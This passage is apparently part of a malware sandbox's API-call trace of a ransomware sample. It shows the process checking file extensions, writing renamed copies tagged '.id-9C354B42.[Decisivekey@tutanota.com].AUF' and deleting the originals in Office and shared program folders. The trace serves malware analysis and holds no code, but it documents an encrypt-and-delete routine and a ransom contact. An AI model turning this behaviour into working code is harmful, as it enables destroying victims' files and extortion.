0x19c [0205.507] GetLastError () returned 0x0 [0205.507] ReadFile (in: hFile=0x184, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x1915, lpOverlapped=0x0) returned 1 [0205.532] WriteFile (in: hFile=0x19c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x1920, lpOverlapped=0x0) returned 1 [0205.533] ReadFile (in: hFile=0x184, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0205.533] WriteFile (in: hFile=0x19c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xee, lpOverlapped=0x0) returned 1 [0205.533] SetEndOfFile (hFile=0x19c) returned 1 [0205.533] CloseHandle (hObject=0x19c) returned 1 [0205.534] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.534] SetEndOfFile (hFile=0x184) returned 1 [0205.534] CloseHandle (hObject=0x184) returned 1 [0205.534] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0205.535] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 1 [0205.535] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0205.535] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0205.535] lstrlenW (lpString=".doc") returned 4 [0205.535] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.535] lstrlenW (lpString=".docx") returned 5 [0205.535] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0205.535] lstrlenW (lpString=".pdf") returned 4 [0205.535] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.535] lstrlenW (lpString=".xls") returned 4 [0205.535] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.535] lstrlenW (lpString=".xlsx") returned 5 [0205.535] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0205.535] lstrlenW (lpString=".ppt") returned 4 [0205.535] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.535] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0205.535] lstrlenW (lpString=".zip") returned 4 [0205.535] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.535] lstrlenW (lpString=".rar") returned 4 [0205.535] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.535] lstrlenW (lpString=".bz2") returned 4 [0205.535] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.535] lstrlenW (lpString=".7z") returned 3 [0205.535] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.535] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0205.535] lstrlenW (lpString=".dbf") returned 4 [0205.535] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.535] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0205.535] lstrlenW (lpString=".1cd") returned 4 [0205.535] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.535] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0205.535] lstrlenW (lpString=".jpg") returned 4 [0205.535] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.535] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0205.535] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0205.535] lstrlenW (lpString=".doc") returned 4 [0205.536] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.536] lstrlenW (lpString=".docx") returned 5 [0205.536] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0205.536] lstrlenW (lpString=".pdf") returned 4 [0205.536] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.536] lstrlenW (lpString=".xls") returned 4 [0205.536] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.536] lstrlenW (lpString=".xlsx") returned 5 [0205.536] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0205.536] lstrlenW (lpString=".ppt") returned 4 [0205.536] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.536] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0205.536] lstrlenW (lpString=".zip") returned 4 [0205.536] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.536] lstrlenW (lpString=".rar") returned 4 [0205.536] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.536] lstrlenW (lpString=".bz2") returned 4 [0205.536] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.536] lstrlenW (lpString=".7z") returned 3 [0205.536] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.536] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0205.536] lstrlenW (lpString=".dbf") returned 4 [0205.536] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.536] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0205.536] lstrlenW (lpString=".1cd") returned 4 [0205.536] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.536] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0205.536] lstrlenW (lpString=".jpg") returned 4 [0205.536] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.536] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0205.536] lstrlenW (lpString="Setup.xml") returned 9 [0205.536] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0205.536] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=20577) returned 1 [0205.536] CloseHandle (hObject=0x184) returned 1 [0205.537] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0205.537] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0205.537] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0205.537] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.537] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.537] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0205.537] GetLastError () returned 0x0 [0205.537] ReadFile (in: hFile=0x184, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x5061, lpOverlapped=0x0) returned 1 [0205.587] WriteFile (in: hFile=0x19c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x5070, lpOverlapped=0x0) returned 1 [0205.588] ReadFile (in: hFile=0x184, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0205.588] WriteFile (in: hFile=0x19c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0205.588] SetEndOfFile (hFile=0x19c) returned 1 [0205.588] CloseHandle (hObject=0x19c) returned 1 [0205.589] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.589] SetEndOfFile (hFile=0x184) returned 1 [0205.589] CloseHandle (hObject=0x184) returned 1 [0205.590] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0205.590] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0205.590] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.590] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.590] lstrlenW (lpString=".doc") returned 4 [0205.590] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.590] lstrlenW (lpString=".docx") returned 5 [0205.590] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0205.590] lstrlenW (lpString=".pdf") returned 4 [0205.590] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.590] lstrlenW (lpString=".xls") returned 4 [0205.590] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.590] lstrlenW (lpString=".xlsx") returned 5 [0205.590] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0205.590] lstrlenW (lpString=".ppt") returned 4 [0205.590] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.590] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.590] lstrlenW (lpString=".zip") returned 4 [0205.590] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.590] lstrlenW (lpString=".rar") returned 4 [0205.590] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.590] lstrlenW (lpString=".bz2") returned 4 [0205.590] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.590] lstrlenW (lpString=".7z") returned 3 [0205.590] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.590] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.590] lstrlenW (lpString=".dbf") returned 4 [0205.590] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.590] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.590] lstrlenW (lpString=".1cd") returned 4 [0205.590] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.590] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.590] lstrlenW (lpString=".jpg") returned 4 [0205.591] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.591] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.591] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.591] lstrlenW (lpString=".doc") returned 4 [0205.591] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.591] lstrlenW (lpString=".docx") returned 5 [0205.591] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0205.591] lstrlenW (lpString=".pdf") returned 4 [0205.591] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.591] lstrlenW (lpString=".xls") returned 4 [0205.591] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.591] lstrlenW (lpString=".xlsx") returned 5 [0205.591] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0205.591] lstrlenW (lpString=".ppt") returned 4 [0205.591] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.591] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.591] lstrlenW (lpString=".zip") returned 4 [0205.591] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.591] lstrlenW (lpString=".rar") returned 4 [0205.591] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.591] lstrlenW (lpString=".bz2") returned 4 [0205.591] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.591] lstrlenW (lpString=".7z") returned 3 [0205.591] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.591] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.591] lstrlenW (lpString=".dbf") returned 4 [0205.591] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.591] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.591] lstrlenW (lpString=".1cd") returned 4 [0205.591] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.591] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.591] lstrlenW (lpString=".jpg") returned 4 [0205.591] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.591] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0205.591] lstrlenW (lpString="Alphabet.xml") returned 12 [0205.591] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0205.882] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=791686) returned 1 [0205.882] CloseHandle (hObject=0x17c) returned 1 [0205.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0205.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0205.883] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0205.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0205.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0205.883] lstrlenW (lpString=".doc") returned 4 [0205.883] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.883] lstrlenW (lpString=".docx") returned 5 [0205.883] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0205.883] lstrlenW (lpString=".pdf") returned 4 [0205.883] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.883] lstrlenW (lpString=".xls") returned 4 [0205.883] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.883] lstrlenW (lpString=".xlsx") returned 5 [0205.883] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0205.883] lstrlenW (lpString=".ppt") returned 4 [0205.883] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0205.883] lstrlenW (lpString=".zip") returned 4 [0205.883] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.883] lstrlenW (lpString=".rar") returned 4 [0205.883] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.883] lstrlenW (lpString=".bz2") returned 4 [0205.883] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.883] lstrlenW (lpString=".7z") returned 3 [0205.883] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0205.883] lstrlenW (lpString=".dbf") returned 4 [0205.883] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0205.883] lstrlenW (lpString=".1cd") returned 4 [0205.883] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0205.883] lstrlenW (lpString=".jpg") returned 4 [0205.883] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0205.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0205.884] lstrlenW (lpString=".doc") returned 4 [0205.884] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.884] lstrlenW (lpString=".docx") returned 5 [0205.884] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0205.884] lstrlenW (lpString=".pdf") returned 4 [0205.884] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.884] lstrlenW (lpString=".xls") returned 4 [0205.884] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.884] lstrlenW (lpString=".xlsx") returned 5 [0205.884] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0205.884] lstrlenW (lpString=".ppt") returned 4 [0205.884] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0205.884] lstrlenW (lpString=".zip") returned 4 [0205.884] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.884] lstrlenW (lpString=".rar") returned 4 [0205.884] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.884] lstrlenW (lpString=".bz2") returned 4 [0205.884] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.884] lstrlenW (lpString=".7z") returned 3 [0205.884] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0205.884] lstrlenW (lpString=".dbf") returned 4 [0205.884] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0205.884] lstrlenW (lpString=".1cd") returned 4 [0205.884] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0205.884] lstrlenW (lpString=".jpg") returned 4 [0205.884] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.885] lstrcmpiW (lpString1=".avi", lpString2=".AUF") returned 1 [0205.885] lstrlenW (lpString="boxed-delete.avi") returned 16 [0205.885] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0205.899] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=31744) returned 1 [0205.899] CloseHandle (hObject=0x1b0) returned 1 [0205.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0205.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0205.900] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0205.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0205.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0205.900] lstrlenW (lpString=".doc") returned 4 [0205.900] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0205.900] lstrlenW (lpString=".docx") returned 5 [0205.900] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0205.900] lstrlenW (lpString=".pdf") returned 4 [0205.900] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0205.900] lstrlenW (lpString=".xls") returned 4 [0205.900] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0205.900] lstrlenW (lpString=".xlsx") returned 5 [0205.900] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0205.900] lstrlenW (lpString=".ppt") returned 4 [0205.900] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0205.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0205.900] lstrlenW (lpString=".zip") returned 4 [0205.900] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0205.900] lstrlenW (lpString=".rar") returned 4 [0205.900] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0205.900] lstrlenW (lpString=".bz2") returned 4 [0205.900] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0205.900] lstrlenW (lpString=".7z") returned 3 [0205.900] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0205.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0205.900] lstrlenW (lpString=".dbf") returned 4 [0205.900] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0205.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0205.900] lstrlenW (lpString=".1cd") returned 4 [0205.900] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0205.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0205.900] lstrlenW (lpString=".jpg") returned 4 [0205.900] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0205.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0205.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0205.900] lstrlenW (lpString=".doc") returned 4 [0205.900] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0205.901] lstrlenW (lpString=".docx") returned 5 [0205.901] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0205.901] lstrlenW (lpString=".pdf") returned 4 [0205.901] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0205.901] lstrlenW (lpString=".xls") returned 4 [0205.901] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0205.901] lstrlenW (lpString=".xlsx") returned 5 [0205.901] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0205.901] lstrlenW (lpString=".ppt") returned 4 [0205.901] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0205.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0205.901] lstrlenW (lpString=".zip") returned 4 [0205.901] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0205.901] lstrlenW (lpString=".rar") returned 4 [0205.901] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0205.901] lstrlenW (lpString=".bz2") returned 4 [0205.901] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0205.901] lstrlenW (lpString=".7z") returned 3 [0205.901] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0205.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 